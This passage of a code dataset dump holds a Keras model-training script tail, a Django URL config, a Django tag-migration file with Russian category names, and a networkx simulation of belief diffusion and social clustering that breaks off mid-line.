Xtrain, Ytrain, imgs_dir_list = data\n\n train_loss = model.train_on_batch(Xtrain, Ytrain) \n mean_loss += train_loss \n it += 1 \n it_num+=1\n if (it + 1) % (training_generator.__len__() / 100) == 0:\n print('\\nIter. %d (of %d)' % (it + 1, iterations))\n print('\\tLoss: %f' % (mean_loss / it_num))\n \n \n \n\n if epoch % 3 == 0:\n print('\\nIter. %d (of %d)' % (it + 1, iterations))\n print('\\tLoss: %f' % (mean_loss / it))\n AP, R, P, AP_max, R_max, P_max, num_correct, num_correct_max = eval2(model, test_generator)\n print(\"AP_max\")\n print(best_ap_max)\n print(AP_max)\n if best_ap_max < AP_max:\n best_ap_max = AP_max\n save_model(model, model_path_backup_max)\n # save_model(model ,model_path_backup+'_it_%d'%(it+1))\n f_max.write('iter: %d, best ap_max: %f ,n_correct: %d, Loss: %f\\n' % (\n it + 1, AP_max, num_correct_max, mean_loss / it_num))\n f_max.flush()\n else:\n f_max.write('iter: %d,ap_max: %f, n_correct: %d, Loss: %f, ap: %f\\n' % (\n it + 1, AP_max, num_correct_max, mean_loss / it_num, AP))\n f_max.flush() \n it_num = 0 \n mean_loss=0\n\n print('Stopping data generator')\n f.close()\n f_max.close()\n\n print('Saving model (%s)' % model_path_final)\n save_model(model, model_path_final)\n\n\nif __name__ == '__main__':\n main()\n''' \npython utvm-train-resnet-cus-2branch.py --name utvm-model-privatedata-resnet-cus-2branch --output-dir models_official/utvm_models_privatedata_resnet_cus_2branch -op Adam -lr .0001 -its 100000 -bs 32\n###\n\n\n--model models_official/utvm_models_resnet_cus2/backup/utvm-model-stanford-resnet-cus2_backup_max\n\npython utvm-train-resnet-cus2.py --model models_official/utvm_models_resnet_cus2/backup/utvm-model-stanford-resnet-cus2_backup_max --name utvm-model-stanford-resnet-cus2 --output-dir models_official/utvm_models_resnet_cus2 -op Adam -lr .001 -its 100000 -bs 32\n\npython utvm-train-resnet-cus2.py --name utvm-model-stanford-resnet-cus2 --output-dir models_official/utvm_models_resnet_cus2 -op Adam -lr .001 -its 100000 -bs 32\n\npython utvm-train-resnet2.py --model models_official/utvm_models_resnet2_private_data/utvm-model-private-data-resnet2_backup_max --name utvm-model-stanford-resnet2 --output-dir models_official/utvm_models_resnet2 -op Adam -lr .001 -its 100000 -bs 32\n\n\npython utvm-train-resnet-cus-2branch.py --model models_official/utvm_models_resnet_cus_2branch/utvm-model-stanford-resnet-cus-2branch_backup_max --name utvm-model-stanford-resnet-cus-2branch --output-dir models_official/utvm_models_resnet_cus_2branch -op Adam -lr .0001 -its 100000 -bs 32\n'''","sub_path":"utvm-train-resnet-cus-2branch.py","file_name":"utvm-train-resnet-cus-2branch.py","file_ext":"py","file_size_in_byte":36206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"636104103","text":"from rest_framework.urlpatterns import format_suffix_patterns\nfrom django.urls import path as url\nfrom genx import views\n\nurlpatterns = [\n url('register', views.UserRegister.as_view()),\n url('login', views.UserAuth.as_view()),\n url('profile', views.Userprofile.as_view()),\n url('fileupload', views.MyFileView.as_view()),\n url('listuser', views.ListUser.as_view()),\n url('fileupload/', views.MyFileView.as_view()),\n url('chat/', views.ChatMessages.as_view()),\n url('partuser/', views.ParticularUser.as_view()),\n url('kin/', views.KinshipDegree.as_view())\n \n]\n\nurlpatterns = format_suffix_patterns(urlpatterns, allowed=['json', 'html'])\n\n\n\n","sub_path":"genx/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"613313655","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\nCATEGORIES_AND_TAGS = {\n u'Нов��сти': (\n u'Бокс, единоборства',\n u'Вещи',\n u'Гаджеты',\n u'Детские новости, интересные факты для детей',\n u'Дом',\n u'Законодательство',\n u'Знаменитости',\n u'Игры',\n u'Красота',\n u'Культура, афиша',\n u'Спорт',\n u'Футбол',\n u'Хоккей',\n u'Медицина',\n u'Наука и техника',\n u'Образование',\n u'Происшествия',\n u'Туризм', ),\n u'Статьи': (\n u'Вещи',\n u'Дети',\n u'Дом',\n u'Здоровье',\n u'Красота',\n u'Куда пойти с ребенком',\n u'Образование',\n u'Семья', )\n}\n\nTAGS_MAPPING = {\n # Старый тег: [Новый тег новостей, Новый тег статей]\n u'Бьютти': [u'Красота', u'Красота'],\n u'Вещи': [u'Вещи', u'Вещи'],\n u'Дети': [u'Детские новости, интересные факты для детей', u'Дети'],\n u'Дом': [u'Дом', u'Дом'],\n u'Здоровье': [u'Медицина', u'Здоровье'],\n u'Знаменитости': [u'Знаменитости', None],\n u'Красота': [u'Красота', u'Красота'],\n u'Наука и техника': [u'Наука и техника', None],\n u'Образование': [u'Образование', u'Образование'],\n u'Отдых и хобби': [None, None],\n u'Семья': [None, u'Семья'],\n}\n\n\ndef remap_tags(model,\n old_category,\n new_category,\n tags_mapping,\n tag_model):\n \"\"\"Миграция тегов для модели из одной категории в другую.\n\n Теги из старой категори (old_category) заменяются тегами из новой\n (new_category) для всех объектов модели model. Схема отображения названий\n тегов задаётся параметром tags_mapping. Если для старого тега в отображении\n отсутствует новый тег (или представляет собой None), то старый тег просто\n удаляется.\n\n Для использования в миграциях через последний параметр можно передать\n модель, используемую для поиска объектов модели Tag.\n\n \"\"\"\n\n Tag = tag_model\n old_tags = Tag.objects.filter(category=old_category)\n\n for n in model.objects.all():\n changed = False\n\n # Основной тег\n if n.main_tag in old_tags:\n new_tag_name = tags_mapping.get(n.main_tag.title)\n if new_tag_name is None:\n n.main_tag = None\n else:\n n.main_tag = Tag.objects.get(\n category=new_category,\n title=new_tag_name)\n changed = True\n if changed:\n n.save()\n\n # Теги\n tags = []\n for t in n.tags.all():\n if t in old_tags:\n new_tag_name = tags_mapping.get(t.title)\n if new_tag_name is not None:\n tags.append(Tag.objects.get(\n category=new_category,\n title=new_tag_name))\n else:\n tags.append(t)\n n.tags = tags\n n.save()\n\n\ndef create_new_categories_and_tags(apps, schema_editor):\n \"\"\"Создание новых категорий и тегов.\"\"\"\n TagCategory = apps.get_model('tags', 'TagCategory')\n Tag = apps.get_model('tags', 'Tag')\n for category, tags in CATEGORIES_AND_TAGS.iteritems():\n c, _ = TagCategory.objects.get_or_create(title=category)\n for tag in tags:\n Tag.objects.get_or_create(title=tag, category=c)\n\n\ndef remap_news_tags(apps, schema_editor):\n \"\"\"Перенос тегов для новостей.\"\"\"\n\n TagCategory = apps.get_model('tags', 'TagCategory')\n Tag = apps.get_model('tags', 'Tag')\n News = apps.get_model('news', 'News')\n\n try:\n old_category = TagCategory.objects.get(title=u'Новости и Статьи')\n except TagCategory.DoesNotExist:\n return\n new_category = TagCategory.objects.get(title=u'Новости')\n remap_tags(News,\n old_category,\n new_category,\n {k: v[0]\n for k, v in TAGS_MAPPING.iteritems()},\n tag_model=Tag)\n\n\ndef remap_articles_tags(apps, schema_editor):\n \"\"\"Перенос тегов для статей.\"\"\"\n\n TagCategory = apps.get_model('tags', 'TagCategory')\n Tag = apps.get_model('tags', 'Tag')\n Article = apps.get_model('articles', 'Article')\n\n try:\n old_category = TagCategory.objects.get(title=u'Новости и Статьи')\n except TagCategory.DoesNotExist:\n return\n new_category = TagCategory.objects.get(title=u'Статьи')\n remap_tags(Article,\n old_category,\n new_category,\n {k: v[1]\n for k, v in TAGS_MAPPING.iteritems()},\n tag_model=Tag)\n\n\ndef delete_old_tags_and_category(apps, schema_editor):\n \"\"\"Удаление старой категории тегов.\"\"\"\n TagCategory = apps.get_model('tags', 'TagCategory')\n Tag = apps.get_model('tags', 'Tag')\n\n try:\n category = TagCategory.objects.get(title=u'Новости и Статьи')\n except TagCategory.DoesNotExist:\n return\n Tag.objects.filter(category=category).delete()\n TagCategory.objects.filter(pk=category.pk).delete()\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('tags', '0003_auto_20150928_1111'),\n ('news', '0003_auto_20150925_1124'),\n ('articles', '0004_auto_20150925_1359'),\n ]\n\n operations = [\n migrations.RunPython(create_new_categories_and_tags),\n migrations.RunPython(remap_news_tags),\n migrations.RunPython(remap_articles_tags),\n migrations.RunPython(delete_old_tags_and_category),\n ]\n","sub_path":"src/admin_app/tags/migrations/0004_split_news_and_articles_tags.py","file_name":"0004_split_news_and_articles_tags.py","file_ext":"py","file_size_in_byte":6545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"91414384","text":"import networkx as nx\nimport numpy as np\nimport itertools\nimport copy\nimport pandas as pd\nimport scipy.cluster.hierarchy as sch\nfrom scipy.spatial.distance import squareform\nimport random\nfrom sklearn.decomposition import PCA\nfrom scipy.stats import kurtosis\n\n\ndef setup(network = 'random', # ['complete', 'random', 'Watts-Strogatz', 'connected caveman', 'Barabasi-Albert'] \n n_agents=40, # number of agents \n deg=4, # number of connections for each agent\n n_beliefs=25, # number of knowledge graph elements each agent has\n n_concepts=30\n ):\n \"\"\"\n Generates the initial conditions of the simulation\n\n Returns\n -------\n g: networkx graph\n primary graph represents the semantic network,\n each individual (node) has an attribute 'M' representing their semantic network\n\n all_beliefs: an array of tuples, which represents all edges anywhere in the semantic\n network network of any individual. Does not include edges that could be part of the\n semantic network (because they are present in a complete graph with `n_concepts`, \n but were not selected).\n \"\"\"\n np.random.seed()\n\n connected = False\n while not connected:\n if network == 'complete':\n g = nx.complete_graph(n=n_agents)\n elif network == 'random':\n g = nx.gnm_random_graph(n=n_agents, m=int(n_agents*deg/2))\n elif network == 'random regular':\n g = nx.random_regular_graph(d=deg, n=n_agents)\n elif network == 'Watts-Strogatz':\n g = nx.connected_watts_strogatz_graph(n=n_agents, k=deg, p=.02) # valid for even deg\n elif network == 'connected caveman':\n g = nx.connected_caveman_graph(l=int(n_agents/deg), k=deg+1)\n elif network == 'Barabasi-Albert': \n g = nx.barabasi_albert_graph(n=n_agents, m=int(deg/2)) # approximates deg for large n_agents, when deg is even.\n else:\n raise ValueError('%s is not a valid network name' % network)\n\n connected = nx.is_connected(g)\n\n # give starting information\n nx.set_node_attributes(\n g, \n name='M', # M for mind\n values={i: nx.gnm_random_graph(n_concepts, n_beliefs) for i in g})\n\n beliefs = np.unique([tuple(sorted(belief)) for agent in g \n for belief in g.node[agent]['M'].edges()], axis=0)\n return g, beliefs\n\ndef fast_adopt(g, ego, edge):\n \"\"\" Fast adoption function for triangle closing rule\"\"\"\n try:\n from_neighbors = set(g.node[ego]['M'][edge[0]]) # if concept 0 not in network, false\n if edge[1] in from_neighbors: # edge already exists\n return False\n to_neighbors = set(g.node[ego]['M'][edge[1]]) # if concept 1 not in network, false\n if from_neighbors & to_neighbors: # if susceptible\n for nb in g[ego]: # check exposed\n if edge in g.node[nb]['M'].edges():\n return True\n return False\n except:\n return False\n\ndef fast_susceptible(g, ego, edge):\n \"\"\" Fast check for 'susceptible or already adopted' under triangle closing rule\"\"\"\n try:\n from_neighbors = set(g.node[ego]['M'][edge[0]]) # if concept not in network, raise\n if edge[1] in from_neighbors: # edge already exists\n return True\n to_neighbors = set(g.node[ego]['M'][edge[1]])\n if from_neighbors & to_neighbors:\n return True\n return False\n except:\n return False\n \ndef general_adopt(g, ego, edge, pl=2, th=1.1):\n \"\"\" \n Expands adoption function to general case where semantic path lenth is \n less than or equal to pl, or a fraction of neighbors greater than th believes\n \"\"\"\n \n try: # there may be no path between the nodes\n path_length = nx.shortest_path_length(g.node[ego]['M'], *edge)\n except (nx.NetworkXNoPath, nx.NodeNotFound):\n path_length = 1000 # assume that length is very large\n exposure = np.mean([edge in g.node[nb]['M'].edges() for nb in g[ego]])\n #exposure = np.sum([edge in g.node[nb]['M'].edges() for nb in g[ego]]) \n return (1 < path_length <= pl and exposure > 0) or (exposure > th) \n\ndef general_susceptible(g, ego, edge, pl=2):\n \"\"\" Expands susceptible check to general case for semantic path length <= pl \"\"\"\n try: # there may be no path between the nodes\n length = nx.shortest_path_length(g.node[ego]['M'], *edge)\n except (nx.NetworkXNoPath, nx.NodeNotFound):\n length = 1000 # assume that length is very large\n return 1 < length <= pl\n\ndef simulate_simultaneous(g, beliefs, n_steps=100, adopt=fast_adopt):\n for step in range(n_steps):\n changes = False\n for ego in np.random.permutation(g): # select ego in random order\n for edge in np.random.permutation(beliefs): # select a belief in random order to propagate\n if adopt(g, ego, edge):\n changes = True\n g.node[ego]['M'].add_edges_from([edge])\n if not changes:\n break\n\ndef simulate_individual(g, edge, n_steps=100, adopt=fast_adopt):\n # simulates the diffusion of a single edge in the given network\n for step in range(n_steps):\n changes = False\n for ego in np.random.permutation(g): # select ego in random order \n if adopt(g, ego, edge):\n g.node[ego]['M'].add_edges_from([edge])\n changes = True\n if not changes:\n return None\n\ndef simulate_independent_match_susceptibility(g, sus_target, n_steps, n_concepts, beliefs):\n # sus_target: average fraction of people to make susceptible to each belief (0-1)\n ex_sus = copy.deepcopy(g) # exogenous susceptibility\n\n # give starting information\n nx.set_node_attributes(\n ex_sus,\n name='S', # S for susceptibility\n values={i: nx.gnp_random_graph(n_concepts, sus_target) for i in g})\n\n s = {tuple(b): 0 for b in beliefs}\n for n in ex_sus:\n for b in beliefs:\n s[tuple(b)] += ex_sus.node[n]['S'].has_edge(*b) or g.node[n]['M'].has_edge(*b)\n\n for step in range(n_steps):\n yield step, g, s\n for ego in np.random.permutation(g):\n for edge in np.random.permutation(beliefs):\n if ex_sus.node[ego]['S'].has_edge(*edge): # check susceptible\n for nb in g[ego]: # check exposed\n if edge in g.node[nb]['M'].edges():\n g.node[ego]['M'].add_edges_from([edge])\n\ndef simulate_independent(g, n_steps, beliefs):\n # sus_target: average fraction of people to make susceptible to each belief (0-1)\n ex_sus = copy.deepcopy(g) # exogenous susceptibility\n\n # give starting information\n nx.set_node_attributes(\n ex_sus,\n name='S', # S for susceptibility\n values={i: nx.from_edgelist([b for b in beliefs if fast_susceptible(g, i, b)]) for i in g})\n\n for step in range(n_steps):\n yield step, g\n for ego in np.random.permutation(g):\n for edge in np.random.permutation(beliefs):\n if ex_sus.node[ego]['S'].has_edge(*edge): # check susceptible\n for nb in g[ego]: # check exposed\n if edge in g.node[nb]['M'].edges():\n g.node[ego]['M'].add_edges_from([edge])\n\n\ndef simulate_sequential(g, beliefs, n_steps=100, adopt=fast_adopt):\n for edge in np.random.permutation(beliefs): # select a belief in random order to propagate\n for step in range(n_steps):\n changes = False\n for ego in np.random.permutation(g): # select ego in random order \n if adopt(g, ego, edge):\n g.node[ego]['M'].add_edges_from([edge])\n changes = True\n if not changes:\n break \n\n\ndef measure_diffusion(g, beliefs):\n \"\"\"what is the extent of diffusion of all belief in beliefs? \n Returns a dictionary where keys are tuples representing beliefs\n \"\"\"\n return {tuple(edge): np.sum([edge in g.node[nb]['M'].edges() for nb in g]) for edge in beliefs} \n\ndef measure_susceptibility(g, beliefs, susceptible=fast_susceptible):\n susceptibility = {}\n for edge in beliefs:\n susceptibility[tuple(edge)] = np.sum([susceptible(g, agent, edge) for agent in g])\n return susceptibility\n\ndef randomize_beliefs(g, n_concepts=None, beliefs=None):\n \"\"\"\n If `beliefs` is a list of all the beliefs in the network, draw from these in \n equal measure to the number that an individual already has. The problem with this is\n that it will end up with fewer beliefs in the overall semantic network.\n \n If `n_concepts` is the number of concepts that are present in the semantic network,\n then randomly draw from the complete semantic network with this many concepts.\n The problem with this is that it will end up with more unique beliefs than exist\n in the network when diffusion has taken place.\n \n When neither are provided, shuffles the existing beliefs amongst individuals.\n The problem with this is that it's slow, and it's not truly random, as you bias \n an agent against having the beliefs that they started with, so this\n still has some structure in it. However, it has the same number of beliefs, and each\n belief is held by the same number of people, so it's a conservative case.\n \"\"\"\n np.random.seed()\n g2 = copy.deepcopy(g)\n if beliefs is not None:\n for n in g2:\n n_beliefs = g2.node[n]['M'].number_of_edges()\n new_beliefs = beliefs[np.random.choice(list(range(len(beliefs))), \n size=n_beliefs, replace=False)]\n g2.node[n]['M'] = nx.from_edgelist(new_beliefs)\n elif n_concepts is not None:\n for n in g2:\n n_beliefs = g2.node[n]['M'].number_of_edges()\n g2.node[n]['M'] = nx.gnm_random_graph(n_concepts, n_beliefs) \n else:\n #Shuffle the beliefs between each individual. Guarantees taht there are the\n #same number of beliefs in the universe, each belief is diffused the same number\n #of times, and each agent has the same number of beliefs\n np.random.seed()\n g2 = copy.deepcopy(g)\n for agent in np.random.permutation(g2):\n agent_beliefs = g2.node[agent]['M'].edges()\n for belief in np.random.permutation(agent_beliefs):\n swap_belief = None\n for alter in np.random.permutation(g2): # look for a candidate\n alter_beliefs = g2.node[alter]['M'].edges()\n if tuple(belief) in set(alter_beliefs): # the alter cant have the belief we want to exchange\n continue\n candidates = set(alter_beliefs) - set(agent_beliefs)\n if len(candidates) > 0: # the alter has to have at least one belief we have\n swap_belief = list(candidates)[np.random.choice(list(range(len(candidates))))]\n break\n if swap_belief is None: # no exchange is possible with this belief\n continue\n g2.node[alter]['M'].remove_edges_from([swap_belief])\n g2.node[alter]['M'].add_edges_from([belief])\n g2.node[agent]['M'].remove_edges_from([belief])\n g2.node[agent]['M'].add_edges_from([swap_belief])\n return g2\n\n\ndef measure_belief_clustering_coefficient(diffusion, q=None, level=None, above=True):\n \"\"\"Clustering coeff. of all beliefs above qth percentile\"\"\"\n if q is not None:\n # identify index representing the qth percentile belief\n thresh = int(np.ceil(len(diffusion)*(q/100)))\n # randomize the order of the diffusion dictionary so that \n # the order doesn't suggest spurious clustering when\n # diffusion is uniform\n keys = list(diffusion.keys())\n random.shuffle(keys)\n shuff_diff = {key: diffusion[tuple(key)] for key in keys}\n # rank beliefs from least to most popular\n sortlist = sorted(shuff_diff, key=diffusion.get)\n # select the subset to keep\n edges = sortlist[thresh:] if above else sortlist[:thresh]\n \n elif level is not None:\n # select edges above a diffusion value\n edges = {k:v for (k,v) in diffusion.items() if v > level}\n if len(edges) == 0:\n return 0\n \n # create a subgraph with only the beliefs above \n subgraph = nx.from_edgelist(edges)\n # measure clustering of the subgraph\n clustering = nx.average_clustering(subgraph)\n # measure modularity of the subgraph\n communities = nx.community.modularity_max.greedy_modularity_communities(subgraph)\n modularity = nx.community.modularity(subgraph, communities)\n return clustering, modularity\n\ndef measure_num_belief_clusters(diffusion):\n \"\"\"Number of separable peaks in aggregate semantic network\"\"\"\n # identify unique values for extent of diffusion\n levels = set(diffusion.values())\n num_peaks = []\n for level in levels:\n # identify the edges that are above the level\n edges = [belief for (belief, adopters) in diffusion.items() \n if adopters >= level]\n # create a subgraph with only the beliefs above \n subgraph = nx.from_edgelist(edges)\n # count the number of components in the subgraph\n num_peaks.append(nx.number_connected_components(subgraph))\n # return the maximum number of components discovered\n return np.max(num_peaks)\n\ndef measure_interpersonal_similarity(g):\n \"\"\"Jaccard similarity between each pair of individuals\"\"\"\n jaccards = dict()\n # for each pair of agents in the simulation\n for a, b in itertools.combinations(g.nodes, r=2): \n # identify the edges of each agent\n a_edges = set(g.node[a]['M'].edges())\n b_edges = set(g.node[b]['M'].edges()) \n # jaccard similarity is the intersection divided by the union\n intersect = len(a_edges.intersection(b_edges))\n union = len(a_edges.union(b_edges))\n jaccards[(a, b)] = intersect/union\n return jaccards\n\ndef measure_mean_interpersonal_similarity(jaccards, q, above=True):\n if above:\n # find out what index represents the qth percentile individual\n thresh = int(np.ceil(len(jaccards)*(q/100)))\n # average over all similarities above the qth percentile\n return np.mean(sorted(list(jaccards.values()))[thresh:])\n else:\n thresh = int(np.floor(len(jaccards)*(q/100)))\n return np.mean(sorted(list(jaccards.values()))[:thresh]) \n\ndef measure_social_clusters_threshold(jaccards):\n \"\"\"Number and size of social clusters\"\"\"\n # identify all unique values of similarity between pairings\n levels = set(jaccards.values())\n num_peaks = []\n gs = []\n for level in levels:\n # identify the pairings with similarity above the current level\n pairings = [pairing for (pairing, similarity) in jaccards.items() \n if similarity >= level]\n # create a subgraph with all pairings above the current level\n subgraph = nx.from_edgelist(pairings) \n gs.append(subgraph)\n # count the number of separable components in the subgraph\n num_peaks.append(nx.number_connected_components(subgraph))\n\n # select the subgraph w/ max number separable components (factions)\n i = np.argmax(num_peaks)\n gq = gs[i]\n\n # measure the size of the average faction in the maximally separating subgraph\n mean_size = np.mean([len(faction) for faction in nx.connected_components(gq)])\n return num_peaks[i], mean_size\n\ndef measure_social_clusters_hierarchy(jaccards, method='average'):\n distances = 1-np.array(list(jaccards.values()))\n link = sch.linkage(distances, method=method)\n peaks = np.argwhere(link[:,3]==2).flatten()\n \n if len(peaks) > 1:\n sf = squareform(sch.cophenet(link))\n prominences = []\n for node, height in link[peaks,1:3]:\n distances = []\n for othernode in link[peaks,1]:\n if node == othernode:\n continue\n distance = sf[int(node), int(othernode)]\n distances.append(distance)\n prominences.append(min(distances)-height)\n mean_prominence = np.mean(prominences) \n else:\n mean_prominence = 0\n \n return len(peaks), mean_prominence\n\ndef point(args):\n \n network, n_agents, deg, n_beliefs, n_concepts, pathlength, threshold, clustering, randomization = args\n g, beliefs = setup(*args[:5])\n if pathlength == 2 and threshold > 1:\n adopt_func = fast_adopt\n susceptible_func = fast_susceptible\n else:\n adopt_func = lambda g, ego, edge: general_adopt(g, ego, edge, pl=pathlength, th=threshold)\n susceptible_func = lambda g, ego, edge: general_susceptible(g, ego, edge, pl=pathlength)\n \n res = dict()\n # initial conditions\n res['Initial susceptibility'] = np.mean(list(measure_susceptibility(g, beliefs, susceptible_func).values()))/n_agents*100\n res['Initial diffusion'] = np.mean(list(measure_diffusion(g, beliefs).values()))/n_agents*100\n\n # simultaneous diffusion\n g1 = copy.deepcopy(g)\n simulate_simultaneous(g1, beliefs, adopt=adopt_func)\n \n jaccards = measure_interpersonal_similarity(g1)\n res['RF top decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 90)\n res['RF num social clusters'], res['RF prominence of social clusters'] = \\\n measure_social_clusters_hierarchy(jaccards, method=clustering)\n \n if randomization == 'concepts':\n g_random = randomize_beliefs(g1, n_concepts=n_concepts)\n elif randomization == 'beliefs':\n g_random = randomize_beliefs(g1, beliefs=beliefs)\n elif randomization == 'shuffle':\n g_random = randomize_beliefs(g1)\n jaccards = measure_interpersonal_similarity(g_random)\n res['Rand top decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 90)\n res['Rand num social clusters'], res['Rand prominence of social clusters'] = \\\n measure_social_clusters_hierarchy(jaccards, method=clustering)\n \n res['RF susceptibility'] = np.mean(list(measure_susceptibility(g1, beliefs, susceptible_func).values()))/n_agents*100\n diffusion = measure_diffusion(g1, beliefs)\n res['RF diffusion'] = np.mean(list(diffusion.values()))/n_agents*100\n \n res['RF top decile clustering'] = measure_belief_clustering_coefficient(diffusion, 90)\n res['RF num semantic clusters'] = measure_num_belief_clusters(diffusion)\n \n \n # individual diffusion\n diffusion = dict()\n susceptibility = dict()\n for edge in beliefs: \n g2 = copy.deepcopy(g)\n simulate_individual(g2, edge, adopt=adopt_func)\n diffusion.update(measure_diffusion(g2, [edge]))\n susceptibility.update(measure_susceptibility(g2, [edge], susceptible_func))\n \n res['NF susceptibility'] = np.mean(list(susceptibility.values()))/n_agents*100\n res['NF diffusion'] = np.mean(list(diffusion.values()))/n_agents*100\n \n res['NF top decile clustering'] = measure_belief_clustering_coefficient(diffusion, 90)\n res['NF num semantic clusters'] = measure_num_belief_clusters(diffusion)\n\n return res\n\ndef correlate_best(a_df):\n \"\"\" correlation of belief diffusion count with count of most diffused connected belief\"\"\"\n best_neighbors = []\n for c1 in a_df.columns:\n current_best = 0\n for c2 in a_df.columns:\n if c1 == c2:\n continue\n numnodes = len((set(c1) | set(c2)))\n if numnodes == 4: # no shared nodes\n continue\n elif numnodes == 3: # neighbors\n current_best = max(current_best, sum(a_df[c2]))\n else:\n print('same')\n best_neighbors.append((sum(a_df[c1]), current_best))\n\n return np.corrcoef([a for a, b in best_neighbors], [b for a, b in best_neighbors])[1,0]\n\ndef sim(args):\n network, n_agents, deg, n_beliefs, n_concepts, pathlength, threshold, clustering, randomization = args\n g, beliefs = setup(*args[:5])\n if pathlength == 2 and threshold > 1:\n adopt_func = fast_adopt\n susceptible_func = fast_susceptible\n else:\n adopt_func = lambda g, ego, edge: general_adopt(g, ego, edge, pl=pathlength, th=threshold)\n susceptible_func = lambda g, ego, edge: general_susceptible(g, ego, edge, pl=pathlength)\n \n res = pd.DataFrame(index=range(10))\n \n # simultaneous diffusion\n g1 = copy.deepcopy(g)\n s1 = measure_susceptibility(g1, beliefs, fast_susceptible)\n ai = measure_diffusion(g1, beliefs)\n\n for step in range(16):\n jaccards = measure_interpersonal_similarity(g1)\n #res.at[step, 'inter top decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 90)\n #res.at[step, 'inter bottom decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 10, False)\n #res.at[step, 'inter 90 percentile similarity'] = np.percentile(list(jaccards.values()), 90)\n #res.at[step, 'inter 10 percentile similarity'] = np.percentile(list(jaccards.values()), 10)\n #res.at[step, 'inter num social clusters'], res.at[step, 'inter prominence of social clusters'] = \\\n # measure_social_clusters_hierarchy(jaccards, method=clustering)\n\n\n a_df = pd.DataFrame(index=g1.nodes(), columns=[tuple(b) for b in beliefs])\n for n in g1:\n for b in beliefs:\n a_df.at[n, tuple(b)] = g1.node[n]['M'].has_edge(*b)\n #res.at[step, 'inter interpersonal belief corr'] = a_df.astype(float).corr().abs().mean().mean()\n res.at[step, 'inter best connected belief corr'] = correlate_best(a_df)\n\n res.at[step, 'inter susceptibles'] = np.mean(\n list(measure_susceptibility(g1, beliefs, susceptible_func).values()))/n_agents*100\n diffusion = measure_diffusion(g1, beliefs)\n res.at[step, 'inter adopters'] = np.mean(list(diffusion.values()))/n_agents*100\n\n #res.at[step, 'inter initial suscep correlation'] = np.corrcoef(\n # [s1[tuple(b)] for b in beliefs], [diffusion[tuple(b)] for b in beliefs])[1][0]\n res.at[step, 'inter net initial suscep correlation'] = np.corrcoef(\n [s1[tuple(b)] - ai[tuple(b)] for b in beliefs], [diffusion[tuple(b)] - ai[tuple(b)] for b in beliefs])[1][0]\n\n res.at[step, 'inter top decile semantic clustering'], res.at[step, 'inter top decile semantic modularity'] = \\\n measure_belief_clustering_coefficient(diffusion, 90)\n #res.at[step, 'inter bottom decile semantic clustering'], res.at[step, 'inter bottom decile semantic modularity'] = \\\n # measure_belief_clustering_coefficient(diffusion, 10, above=False)\n #res.at[step, 'inter num semantic clusters'] = measure_num_belief_clusters(diffusion)\n\n corrs = a_df.astype(float).T.corr().mask(np.tri(n_agents, n_agents, 0, dtype='bool')).stack().sort_values()\n res.at[step, 'inter correlation similarity 95%'] = np.percentile(corrs, 95)\n #res.at[step, 'inter correlation similarity 90%'] = np.percentile(corrs, 90)\n #res.at[step, 'inter correlation similarity 50%'] = np.percentile(corrs, 50)\n #res.at[step, 'inter correlation similarity 10%'] = np.percentile(corrs, 10)\n res.at[step, 'inter correlation similarity 5%'] = np.percentile(corrs, 5)\n\n pca = PCA(n_components=n_agents)\n pca.fit(a_df)\n pca.fit(a_df)\n res.at[step, 'inter pca1 explained variance'] = pca.explained_variance_[0]\n res.at[step, 'inter pca2 explained variance'] = pca.explained_variance_[1]\n res.at[step, 'inter pca total variance'] = np.sum(pca.explained_variance_)\n pc1_pts = pca.transform(a_df)[:, 0]\n res.at[step, 'inter kurtosis of PC1'] = kurtosis(pc1_pts)\n\n\n # if randomization == 'concepts':\n # g_random = randomize_beliefs(g1, n_concepts=n_concepts)\n # elif randomization == 'beliefs':\n # g_random = randomize_beliefs(g1, beliefs=beliefs)\n # elif randomization == 'shuffle':\n # g_random = randomize_beliefs(g1)\n # jaccards = measure_interpersonal_similarity(g_random)\n # res.at[step, 'inter rand top decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 90)\n # res.at[step, 'inter rand 90 percentile similarity'] = np.percentile(list(jaccards.values()), 90)\n # res.at[step, 'inter rand bottom decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 10, False)\n # res.at[step, 'inter rand 10 percentile similarity'] = np.percentile(list(jaccards.values()), 10)\n # res.at[step, 'inter rand num social clusters'], res.at[step, 'inter rand prominence of social clusters'] = \\\n # measure_social_clusters_hierarchy(jaccards, method=clustering)\n #\n # a_df = pd.DataFrame(index=g_random.nodes(), columns=[tuple(b) for b in beliefs])\n # for n in g_random:\n # for b in beliefs:\n # a_df.at[n, tuple(b)] = g_random.node[n]['M'].has_edge(*b)\n # res.at[step, 'inter rand interpersonal belief corr'] = a_df.astype(float).corr().abs().mean().mean()\n # res.at[step, 'inter rand best connected belief corr'] = correlate_best(a_df)\n #\n # diffusion = measure_diffusion(g_random, beliefs)\n # res.at[step, 'inter rand top decile semantic clustering'], \\\n # res.at[step, 'inter top decile semantic modularity'] = \\\n # measure_belief_clustering_coefficient(diffusion, 90)\n #\n # res.at[step, 'inter rand bottom decile semantic clustering'], \\\n # res.at[step, 'inter bottom decile semantic modularity'] = \\\n # measure_belief_clustering_coefficient(diffusion, 10, above=False)\n #\n # res.at[step, 'inter num semantic clusters'] = measure_num_belief_clusters(diffusion)\n #\n # corrs = a_df.astype(float).T.corr().mask(np.tri(40, 40, 0, dtype='bool')).stack().sort_values()\n # res.at[step, 'inter rand correlation similarity 95%'] = np.percentile(corrs, 95)\n # res.at[step, 'inter rand correlation similarity 90%'] = np.percentile(corrs, 90)\n # res.at[step, 'inter rand correlation similarity 50%'] = np.percentile(corrs, 50)\n # res.at[step, 'inter rand correlation similarity 10%'] = np.percentile(corrs, 10)\n # res.at[step, 'inter rand correlation similarity 5%'] = np.percentile(corrs, 5)\n\n simulate_simultaneous(g1, n_steps=1, beliefs=beliefs, adopt=adopt_func)\n\n\n res['match 